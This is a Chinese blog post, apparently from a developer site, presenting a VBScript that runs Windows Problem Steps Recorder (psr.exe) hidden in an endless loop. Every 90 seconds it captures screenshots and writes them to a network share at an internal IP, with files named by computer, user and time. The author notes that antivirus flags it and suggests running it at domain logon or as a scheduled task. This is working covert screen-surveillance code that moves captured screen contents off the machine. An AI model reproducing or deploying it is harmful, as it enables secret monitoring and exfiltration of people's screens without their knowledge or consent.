PSR 步骤记录器 实现 屏幕监控并上传到远程服务器。

实现原理:

麻痹,,360报毒。。。

PSR后台无限循环运行。并将结果保存到服务器,文件再被服务器迁移走。

psr.exe 运行

On Error Resume Next
dim gwaddr,ipaddr,gwadstr,ipadstr,ipadd
dim nowtm,hn,zipfile,psrpf,path,comd,wshl
dim hostname,compname,objwmi
dim objNetAdapter,ipaddstr
Set wshl = CreateObject("wscript.network")
hostname=wshl.username   
compname=wshl.computername 
Set objwmi = GetObject("winmgmts://./root/cimv2").ExecQuery ("Select * from Win32_NetworkAdapterConfiguration where dhcpenabled=false and IPEnabled=TRUE")
For Each objNetAdapter in objwmi
  gwaddr=objNetAdapter.DefaultIPGateway(0)
  gwadstr=left(gwaddr,10)
  for each ipadd in objnetadapter.ipaddress
    ipaddstr=left(ipadd,10)
    if ipaddstr=gwadstr then
      ipaddr = ipadd
      exit for
    end if
  next
if ipaddstr=gwadstr then 
exit for
end if
next 

path="\\10.168.50.10\every\"&ipaddr 
comd="cmd /c mkdir "&path
Set ws = CreateObject("Wscript.Shell")
ws.run comd,0,False
DO
  nowtm=year(now())&month(now())&day(now())& hour(now())&minute(now())&second(now())
  zipfile=compname&hostname&nowtm&".zip"
  psrpf=path&"\"&zipfile
  ws.run "cmd /c psr.exe /start /gui 0 /sc 1 /maxsc 100 /output "&psrpf,0,False
  wscript.sleep 90*1000
  ws.run "cmd /c psr.exe /stop",0,false
  wscript.sleep 3*1000
LOOP

 

可以保存为 VBS 在域用户登陆时运行,或加到任务中。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gamers

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值